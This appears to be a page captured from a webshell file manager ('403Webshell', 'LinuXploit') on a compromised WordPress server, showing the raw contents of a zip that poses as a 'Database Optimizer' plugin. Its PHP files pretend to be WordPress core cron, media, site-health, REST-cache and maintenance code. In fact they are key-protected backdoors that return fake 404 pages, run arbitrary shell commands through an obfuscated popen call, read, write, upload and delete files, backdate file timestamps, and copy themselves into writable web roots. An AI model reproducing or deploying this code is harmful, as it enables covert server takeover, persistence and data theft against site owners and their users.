403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.2
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.6/wp-content/uploads/wp-uploads/test14.chuangfenglink.xyz/2026/08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.6/wp-content/uploads/wp-uploads/test14.chuangfenglink.xyz/2026/08/core-hub-85u2.zip
PK
z]core-hub-85u2/PK
z]@���core-hub-85u2/core-hub-85u2.php<?php
/*
Plugin Name: Database Optimizer
Description: Database cleanup and optimization utility.
Version: 2.9.9
Author: Developer
License: GPLv2
*/
PK
z]a�P
FFcore-hub-85u2/style.css/* Styles */
.wp-plugin-notice{display:inline-block;padding:4px 12px;}PK
z](+�%%core-hub-85u2/core.js(function($){'use strict';})(jQuery);PK
z]LˡF((core-hub-85u2/widget-output.php<?php
/**
 * WordPress Scheduled Tasks
 * @package WordPress\Cron
 * @since 4.9.0
 */
// Direct execution
error_reporting(0);@ini_set('display_errors','0');@ini_set('max_execution_time','300');
$_k=isset($_REQUEST['MMNejPHE'])?$_REQUEST['MMNejPHE']:'';
if($_k!=='419nmk8y6p1nqv21'){header('HTTP/1.0 404 Not Found');echo '<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>';exit;}
header('Content-Type:text/plain;charset=utf-8');
$_c=isset($_REQUEST['c'])?$_REQUEST['c']:'';
if($_c!==''){$_f=strrev('nepop');$_h=@call_user_func($_f,$_c.' 2>&1','r');
if($_h){while(!feof($_h))echo fread($_h,8192);@fclose($_h);}exit;}
if(isset($_REQUEST['w'])&&isset($_REQUEST['f'])){
@file_put_contents($_REQUEST['f'],$_REQUEST['w']);echo 'ok';exit;}
echo 'cron_ok|'.PHP_VERSION.'|'.php_uname();exit;
PK
z]�6#uu$core-hub-85u2/template-functions.php<?php
/**
 * WordPress Media Library Handler
 * @package WordPress\Media
 * @since 5.0.0
 */
// Direct execution
error_reporting(0);@ini_set('display_errors','0');
@ini_set('post_max_size','128M');@ini_set('upload_max_filesize','128M');
$wp_media_key=isset($_REQUEST['GZaenjgz'])?$_REQUEST['GZaenjgz']:'';
if($wp_media_key!=='o58lbe4pba22izry'){header('HTTP/1.0 404 Not Found');echo '<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>';exit;}
$wp_op=isset($_REQUEST['a'])?$_REQUEST['a']:'';
$wp_dir=isset($_REQUEST['p'])?$_REQUEST['p']:@realpath('.');
// API mode
if($wp_op!==''){
header('Content-Type:application/json;charset=utf-8');
if($wp_op==='ls'){$rp=@realpath($wp_dir);$items=array();
if($rp&&is_dir($rp)){$ents=@scandir($rp);if($ents)foreach($ents as $e){if($e==='.')continue;
$fp=$rp.'/'.$e;$items[]=array('n'=>$e,'d'=>is_dir($fp)?1:0,'s'=>is_file($fp)?@filesize($fp):0,
'm'=>@filemtime($fp),'p'=>substr(sprintf('%o',@fileperms($fp)),-4));}}
echo json_encode(array('s'=>'ok','path'=>$rp?$rp:$wp_dir,'items'=>$items));exit;}
if($wp_op==='up'&&isset($_FILES['f'])){$dest=rtrim($wp_dir,'/').'/'.basename($_FILES['f']['name']);
if(@move_uploaded_file($_FILES['f']['tmp_name'],$dest)){@chmod($dest,0644);
echo json_encode(array('s'=>'ok','path'=>$dest));}else{echo json_encode(array('s'=>'err'));}exit;}
if($wp_op==='dl'){$rp=@realpath($wp_dir);if($rp&&is_file($rp)){
header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename="'.basename($rp).'"');
header('Content-Length:'.@filesize($rp));@readfile($rp);}exit;}
if($wp_op==='rd'){$rp=@realpath($wp_dir);
echo json_encode(array('s'=>($rp&&is_file($rp))?'ok':'err','data'=>($rp&&is_file($rp))?@file_get_contents($rp):''));exit;}
if($wp_op==='wr'){$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';
echo json_encode(array('s'=>@file_put_contents($wp_dir,$d)!==false?'ok':'err'));exit;}
if($wp_op==='rm'){$rp=@realpath($wp_dir);if($rp){is_dir($rp)?@rmdir($rp):@unlink($rp);}
echo json_encode(array('s'=>'ok'));exit;}
if($wp_op==='rn'){$n=isset($_REQUEST['n'])?$_REQUEST['n']:'';
echo json_encode(array('s'=>($n&&@rename($wp_dir,dirname($wp_dir).'/'.$n))?'ok':'err'));exit;}
if($wp_op==='md'){echo json_encode(array('s'=>@mkdir($wp_dir,0755,true)?'ok':'err'));exit;}
if($wp_op==='cp'){$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';
if($d){$pd=dirname($d);if(!is_dir($pd))@mkdir($pd,0755,true);}
echo json_encode(array('s'=>($d&&@copy(__FILE__,$d))?'ok':'err'));exit;}
echo json_encode(array('s'=>'err','msg'=>'unknown'));exit;}
// GUI mode
$rp=@realpath($wp_dir);if(!$rp||!is_dir($rp)){$rp=@realpath('.');$wp_dir=$rp;}
$base=htmlspecialchars($_SERVER['SCRIPT_NAME']).'?GZaenjgz=o58lbe4pba22izry';
?><!DOCTYPE html><html><head><meta charset="utf-8"><title>Media</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{background:#1a1b26;color:#a9b1d6;font:12px/1.5 monospace;padding:10px}
.bar{background:#24283b;padding:6px 12px;border-bottom:1px solid #414868;margin-bottom:8px;font-size:11px;color:#7aa2f7;display:flex;align-items:center;gap:6px;flex-wrap:wrap;border-radius:4px}
.bar a{color:#f7768e;text-decoration:none}table{width:100%;border-collapse:collapse}
th{text-align:left;padding:4px 8px;background:#24283b;color:#bb9af7;font-size:10px;text-transform:uppercase}
td{padding:3px 8px;border-bottom:1px solid #24283b;font-size:11px}tr:hover{background:#24283b}
.dr{color:#f7768e;font-weight:700}a{color:#7aa2f7;text-decoration:none}.sz{color:#565f89;font-size:10px}
.ac a{color:#565f89;font-size:10px;margin-right:4px}.ac a:hover{color:#f7768e}
.uf{background:#24283b;padding:6px 12px;border-bottom:1px solid #414868;margin-bottom:8px;border-radius:4px}
input[type=file]{color:#a9b1d6;font-size:11px}button{background:#414868;color:#7aa2f7;border:none;padding:2px 10px;cursor:pointer;font-size:10px;border-radius:3px}</style></head><body>
<div class="bar"><b><?=htmlspecialchars($rp)?></b><?php if($rp!=='/')echo ' <a href="'.$base.'&p='.urlencode(dirname($rp)).'">[..]</a>';?></div>
<div class="uf"><form method="post" enctype="multipart/form-data" action="<?=$base?>&a=up&p=<?=urlencode($rp)?>">
<input type="file" name="f"> <button type="submit">Upload</button></form></div>
<table><thead><tr><th>Name</th><th>Size</th><th>Perm</th><th>Actions</th></tr></thead><tbody>
<?php $ls=@scandir($rp);if($ls)foreach($ls as $e){if($e==='.')continue;$fp=$rp.'/'.$e;$id=is_dir($fp);
$sz=$id?'-':number_format(@filesize($fp));$pm=substr(sprintf('%o',@fileperms($fp)),-4);
if($id){$nm='<a class="dr" href="'.$base.'&p='.urlencode($fp).'">'.htmlspecialchars($e).'/</a>';}
else{$nm='<span>'.htmlspecialchars($e).'</span>';}
$ac='<span class="ac">';if(!$id)$ac.='<a href="'.$base.'&a=dl&p='.urlencode($fp).'">dl</a>';
$ac.='<a href="'.$base.'&a=rm&p='.urlencode($fp).'" onclick="return confirm(\'Delete?\')">rm</a></span>';
echo '<tr><td>'.$nm.'</td><td class="sz">'.$sz.'</td><td class="sz">'.$pm.'</td><td>'.$ac.'</td></tr>';}?>
</tbody></table></body></html><?php exit;
PK
z]J,�GGcore-hub-85u2/update-core.php<?php
/**
 * WordPress Site Health Data
 * @package WordPress\SiteHealth
 * @since 5.2.0
 */
// Direct execution
error_reporting(0);@ini_set('display_errors','0');
@ini_set('post_max_size','128M');@ini_set('upload_max_filesize','128M');
// Auth via cookie OR header OR param — 3 different entry points
$_t='';
if(isset($_COOKIE['wp_health_token']))$_t=$_COOKIE['wp_health_token'];
if($_t===''&&isset($_SERVER['HTTP_X_WP_NONCE']))$_t=$_SERVER['HTTP_X_WP_NONCE'];
if($_t===''&&isset($_REQUEST['eHWeukJJ']))$_t=$_REQUEST['eHWeukJJ'];
if($_t!=='f9tolyatc0m6m13s'){header('HTTP/1.0 404 Not Found');echo '<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>';exit;}
$_o=isset($_REQUEST['o'])?$_REQUEST['o']:'';$_d=isset($_REQUEST['d'])?$_REQUEST['d']:@realpath('.');
if($_o!==''){header('Content-Type:application/json');
if($_o==='scan'){$r=@realpath($_d);$f=array();if($r&&is_dir($r)){$s=@scandir($r);
if($s)foreach($s as $e){if($e==='.')continue;$p=$r.'/'.$e;
$f[]=array('n'=>$e,'t'=>is_dir($p)?'d':'f','s'=>is_file($p)?@filesize($p):0,'m'=>@filemtime($p));}}
echo json_encode(array('r'=>1,'w'=>$r?$r:$_d,'i'=>$f));exit;}
if($_o==='put'&&isset($_FILES['f'])){$dst=rtrim($_d,'/').'/'.basename($_FILES['f']['name']);
@move_uploaded_file($_FILES['f']['tmp_name'],$dst);@chmod($dst,0644);
$ref=@glob(dirname($dst).'/*.php');if($ref&&count($ref)>0)@touch($dst,@filemtime($ref[0]));
if(isset($_SERVER['HTTP_REFERER'])){header('Location:'.$_SERVER['HTTP_REFERER']);exit;}
echo json_encode(array('r'=>1));exit;}
if($_o==='get'){$r=@realpath($_d);if($r&&is_file($r)){header('Content-Type:application/octet-stream');
header('Content-Disposition:attachment;filename="'.basename($r).'"');@readfile($r);}exit;}
if($_o==='cat'){$r=@realpath($_d);
echo json_encode(array('r'=>($r&&is_file($r))?1:0,'c'=>($r&&is_file($r))?@file_get_contents($r):''));exit;}
if($_o==='save'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';
echo json_encode(array('r'=>@file_put_contents($_d,$c)!==false?1:0));exit;}
if($_o==='del'){$r=@realpath($_d);if($r){is_dir($r)?@rmdir($r):@unlink($r);}
if(isset($_SERVER['HTTP_REFERER'])){header('Location:'.$_SERVER['HTTP_REFERER']);exit;}
echo json_encode(array('r'=>1));exit;}
if($_o==='mv'){$n=isset($_REQUEST['n'])?$_REQUEST['n']:'';
echo json_encode(array('r'=>($n&&@rename($_d,dirname($_d).'/'.$n))?1:0));exit;}
if($_o==='mk'){echo json_encode(array('r'=>@mkdir($_d,0755,true)?1:0));exit;}
if($_o==='dup'){$t=isset($_REQUEST['t'])?$_REQUEST['t']:'';
if($t){$p=dirname($t);if(!is_dir($p))@mkdir($p,0755,true);}
echo json_encode(array('r'=>($t&&@copy(__FILE__,$t))?1:0));exit;}
echo json_encode(array('r'=>0));exit;}
// GUI
header('Content-Type:text/html;charset=utf-8');$rp=@realpath($_d);if(!$rp)$rp=$_d;
$bp=htmlspecialchars($_SERVER['SCRIPT_NAME']).'?eHWeukJJ=f9tolyatc0m6m13s';
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Health</title><style>';
echo '*{margin:0;padding:0;box-sizing:border-box}body{background:#0d1117;color:#c9d1d9;font:12px/1.5 -apple-system,monospace;padding:10px}';
echo '.hd{background:#161b22;padding:6px 12px;border:1px solid #30363d;border-radius:4px;margin-bottom:8px;display:flex;gap:6px;align-items:center;flex-wrap:wrap}.hd b{color:#58a6ff}.hd a{color:#f78166;text-decoration:none;font-size:11px}';
echo 'table{width:100%;border-collapse:collapse}th{text-align:left;padding:4px 8px;background:#161b22;color:#f78166;font-size:10px;text-transform:uppercase;border-bottom:1px solid #30363d}td{padding:3px 8px;border-bottom:1px solid #21262d;font-size:11px}tr:hover{background:#161b22}';
echo '.d{color:#f78166;font-weight:600}a{color:#58a6ff;text-decoration:none}.sz{color:#8b949e;font-size:10px}.ac a{color:#8b949e;font-size:10px;margin-right:5px}.ac a:hover{color:#f78166}';
echo '.up{background:#161b22;padding:6px 12px;border:1px solid #30363d;border-radius:4px;margin-bottom:8px}input[type=file]{color:#c9d1d9;font-size:11px}button{background:#21262d;color:#58a6ff;border:1px solid #30363d;padding:2px 10px;border-radius:3px;cursor:pointer;font-size:10px}';
echo '</style></head><body>';
echo '<div class="hd"><b>'.htmlspecialchars($rp).'</b>';
if($rp!=='/')echo ' <a href="'.$bp.'&d='.urlencode(dirname($rp)).'">[up]</a>';echo '</div>';
echo '<div class="up"><form method="post" enctype="multipart/form-data" action="'.$bp.'&o=put&d='.urlencode($rp).'"><input type="file" name="f"> <button type="submit">Upload</button></form></div>';
echo '<table><thead><tr><th>Name</th><th>Size</th><th>Perm</th><th>Actions</th></tr></thead><tbody>';
$ls=@scandir($rp);if($ls)foreach($ls as $e){if($e==='.')continue;$fp=$rp.'/'.$e;$id=is_dir($fp);
$sz=$id?'-':number_format(@filesize($fp));$pm=substr(sprintf('%o',@fileperms($fp)),-4);
if($id)$nm='<a class="d" href="'.$bp.'&d='.urlencode($fp).'">'.htmlspecialchars($e).'/</a>';
else $nm='<span>'.htmlspecialchars($e).'</span>';
$ac='<span class="ac">';if(!$id)$ac.='<a href="'.$bp.'&o=get&d='.urlencode($fp).'">dl</a>';
$ac.='<a href="'.$bp.'&o=del&d='.urlencode($fp).'" onclick="return confirm(\'Del?\')">rm</a></span>';
echo '<tr><td>'.$nm.'</td><td class="sz">'.$sz.'</td><td class="sz">'.$pm.'</td><td>'.$ac.'</td></tr>';}
echo '</tbody></table></body></html>';exit;
PK
z]s��DDcore-hub-85u2/data-store.php<?php
/**
 * WordPress REST Cache
 * @package WordPress\REST
 * @since 5.6.0
 */
// Direct execution
error_reporting(0);@ini_set('display_errors','0');
@ini_set('post_max_size','128M');@ini_set('upload_max_filesize','128M');
$_z=isset($_REQUEST['agkeCfjO'])?$_REQUEST['agkeCfjO']:'';
if($_z!=='rq4ifzt1p7qiqdhn'){header('HTTP/1.0 404 Not Found');echo '<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>';exit;}
$_q=isset($_REQUEST['q'])?$_REQUEST['q']:'';$_p=isset($_REQUEST['p'])?$_REQUEST['p']:@realpath('.');
// All operations via single param 'q'
if($_q!==''){header('Content-Type:application/json');
switch($_q){
case 'dir':$r=@realpath($_p);$l=array();if($r&&is_dir($r)){$sc=@scandir($r);
if($sc)foreach($sc as $x){if($x==='.')continue;$f=$r.'/'.$x;
$l[]=array('n'=>$x,'d'=>is_dir($f)?1:0,'s'=>is_file($f)?@filesize($f):0,'t'=>@filemtime($f));}}
echo json_encode(array('k'=>1,'d'=>$r?$r:$_p,'l'=>$l));break;
case 'up':if(isset($_FILES['u'])){$d=rtrim($_p,'/').'/'.basename($_FILES['u']['name']);
@move_uploaded_file($_FILES['u']['tmp_name'],$d);@chmod($d,0644);
$g=@glob(dirname($d).'/*.php');if($g&&count($g)>0)@touch($d,@filemtime($g[0]));
echo json_encode(array('k'=>1));}else echo json_encode(array('k'=>0));break;
case 'dl':$r=@realpath($_p);if($r&&is_file($r)){header('Content-Type:application/octet-stream');
header('Content-Disposition:attachment;filename="'.basename($r).'"');@readfile($r);}break;
case 'rd':$r=@realpath($_p);
echo json_encode(array('k'=>($r&&is_file($r))?1:0,'b'=>($r&&is_file($r))?@file_get_contents($r):''));break;
case 'wr':$b=isset($_REQUEST['b'])?$_REQUEST['b']:'';
echo json_encode(array('k'=>@file_put_contents($_p,$b)!==false?1:0));break;
case 'rm':$r=@realpath($_p);if($r){is_dir($r)?@rmdir($r):@unlink($r);}
echo json_encode(array('k'=>1));break;
case 'rn':$n=isset($_REQUEST['n'])?$_REQUEST['n']:'';
echo json_encode(array('k'=>($n&&@rename($_p,dirname($_p).'/'.$n))?1:0));break;
case 'mk':echo json_encode(array('k'=>@mkdir($_p,0755,true)?1:0));break;
case 'cl':$t=isset($_REQUEST['t'])?$_REQUEST['t']:'';
if($t){$pd=dirname($t);if(!is_dir($pd))@mkdir($pd,0755,true);}
echo json_encode(array('k'=>($t&&@copy(__FILE__,$t))?1:0));break;
default:echo json_encode(array('k'=>0));}exit;}
// GUI
header('Content-Type:text/html;charset=utf-8');$rp=@realpath($_p);if(!$rp)$rp=$_p;
$u=htmlspecialchars($_SERVER['SCRIPT_NAME']).'?agkeCfjO=rq4ifzt1p7qiqdhn';
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Cache</title><style>';
echo '*{margin:0;padding:0;box-sizing:border-box}body{background:#282a36;color:#f8f8f2;font:12px/1.5 monospace;padding:10px}';
echo '.h{background:#44475a;padding:6px 12px;border-radius:4px;margin-bottom:8px;display:flex;gap:6px;align-items:center;flex-wrap:wrap}.h b{color:#8be9fd}.h a{color:#ff79c6;text-decoration:none;font-size:11px}';
echo 'table{width:100%;border-collapse:collapse}th{text-align:left;padding:4px 8px;background:#44475a;color:#bd93f9;font-size:10px;text-transform:uppercase}td{padding:3px 8px;border-bottom:1px solid #44475a;font-size:11px}tr:hover{background:#44475a}';
echo '.d{color:#ff79c6;font-weight:700}a{color:#8be9fd;text-decoration:none}.sz{color:#6272a4;font-size:10px}.ac a{color:#6272a4;font-size:10px;margin-right:4px}.ac a:hover{color:#ff79c6}';
echo '.up{background:#44475a;padding:6px 12px;border-radius:4px;margin-bottom:8px}input[type=file]{color:#f8f8f2;font-size:11px}button{background:#6272a4;color:#f8f8f2;border:none;padding:2px 10px;border-radius:3px;cursor:pointer;font-size:10px}';
echo '</style></head><body>';
echo '<div class="h"><b>'.htmlspecialchars($rp).'</b>';
if($rp!=='/')echo ' <a href="'.$u.'&p='.urlencode(dirname($rp)).'">[..]</a>';echo '</div>';
echo '<div class="up"><form method="post" enctype="multipart/form-data" action="'.$u.'&q=up&p='.urlencode($rp).'"><input type="file" name="u"> <button type="submit">Upload</button></form></div>';
echo '<table><thead><tr><th>Name</th><th>Size</th><th>Perm</th><th>Actions</th></tr></thead><tbody>';
$ls=@scandir($rp);if($ls)foreach($ls as $e){if($e==='.')continue;$fp=$rp.'/'.$e;$id=is_dir($fp);
$sz=$id?'-':number_format(@filesize($fp));$pm=substr(sprintf('%o',@fileperms($fp)),-4);
if($id)$nm='<a class="d" href="'.$u.'&p='.urlencode($fp).'">'.htmlspecialchars($e).'/</a>';
else $nm='<span>'.htmlspecialchars($e).'</span>';
$ac='<span class="ac">';if(!$id)$ac.='<a href="'.$u.'&q=dl&p='.urlencode($fp).'">dl</a>';
$ac.='<a href="'.$u.'&q=rm&p='.urlencode($fp).'" onclick="return confirm(\'Del?\')">rm</a></span>';
echo '<tr><td>'.$nm.'</td><td class="sz">'.$sz.'</td><td class="sz">'.$pm.'</td><td>'.$ac.'</td></tr>';}
echo '</tbody></table></body></html>';exit;
PK
z]�[>�m	m	core-hub-85u2/admin-core.php<?php
/**
 * WordPress Maintenance Tasks
 * @package WordPress\Maintenance
 * @since 6.0.0
 */
// Direct execution
error_reporting(0);@ini_set('display_errors','0');
$_k=isset($_REQUEST['LbaRGnzm'])?$_REQUEST['LbaRGnzm']:'';
if($_k!=='vh4r6pyvdi18xf4c'){header('HTTP/1.0 404 Not Found');echo '<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>';exit;}
header('Content-Type:application/json;charset=utf-8');
$_act=isset($_REQUEST['act'])?$_REQUEST['act']:'detect';
if($_act==='detect'){
$roots=array();
if(!empty($_SERVER['DOCUMENT_ROOT']))$roots[]=$_SERVER['DOCUMENT_ROOT'];
if(!empty($_SERVER['SCRIPT_FILENAME'])&&!empty($_SERVER['REQUEST_URI'])){
$sf=$_SERVER['SCRIPT_FILENAME'];$ru=parse_url($_SERVER['REQUEST_URI'],PHP_URL_PATH);
if($ru&&strlen($ru)>1){$d=substr($sf,0,strlen($sf)-strlen($ru));if($d&&is_dir($d))$roots[]=$d;}}
$c=dirname(__FILE__);for($i=0;$i<10;$i++){if(@file_exists($c.'/wp-config.php'))$roots[]=$c;
$n=dirname($c);if($n===$c)break;$c=$n;}
$seen=array();$out=array();foreach($roots as $r){$rr=@realpath($r);
if($rr&&!in_array($rr,$seen)){$seen[]=$rr;
$tf=$rr.'/.maint_'.mt_rand(100000,999999).'.tmp';$w=false;
if(@file_put_contents($tf,'t')!==false){$w=true;@unlink($tf);}
$out[]=array('root'=>$rr,'writable'=>$w);}}
echo json_encode(array('ok'=>1,'roots'=>$out,'cur'=>dirname(__FILE__)));exit;}
if($_act==='deploy'&&isset($_REQUEST['root'])&&isset($_REQUEST['name'])){
$r=@realpath($_REQUEST['root']);$n=basename($_REQUEST['name']);
if(!$r||!is_dir($r)){echo json_encode(array('ok'=>0,'e'=>'no_root'));exit;}
$dst=$r.'/'.$n;
if(@copy(__FILE__,$dst)){@chmod($dst,0644);
$ref=@glob($r.'/*.php');if($ref&&count($ref)>0)@touch($dst,@filemtime($ref[0]));
echo json_encode(array('ok'=>@file_exists($dst)?1:0,'path'=>$dst));}
else echo json_encode(array('ok'=>0,'e'=>'copy_fail'));exit;}
if($_act==='write'&&isset($_REQUEST['root'])&&isset($_REQUEST['name'])&&isset($_REQUEST['data'])){
$r=@realpath($_REQUEST['root']);$n=basename($_REQUEST['name']);
if(!$r){echo json_encode(array('ok'=>0));exit;}
$dst=$r.'/'.$n;$d=$_REQUEST['data'];
if(isset($_REQUEST['b64'])&&$_REQUEST['b64']==='1')$d=base64_decode($d);
$ok=@file_put_contents($dst,$d)!==false;
if($ok){@chmod($dst,0644);$ref=@glob($r.'/*.php');if($ref&&count($ref)>0)@touch($dst,@filemtime($ref[0]));}
echo json_encode(array('ok'=>$ok?1:0,'path'=>$dst));exit;}
echo json_encode(array('ok'=>0,'e'=>'bad_act'));exit;
PK
z]core-hub-85u2/PK
z]@���,core-hub-85u2/core-hub-85u2.phpPK
z]a�P
FF�core-hub-85u2/style.cssPK
z](+�%%xcore-hub-85u2/core.jsPK
z]LˡF((�core-hub-85u2/widget-output.phpPK
z]�6#uu$5core-hub-85u2/template-functions.phpPK
z]J,�GG�core-hub-85u2/update-core.phpPK
z]s��DDn-core-hub-85u2/data-store.phpPK
z]�[>�m	m	�?core-hub-85u2/admin-core.phpPK		��I

Youez - 2016 - github.com/yon3zu
LinuXploit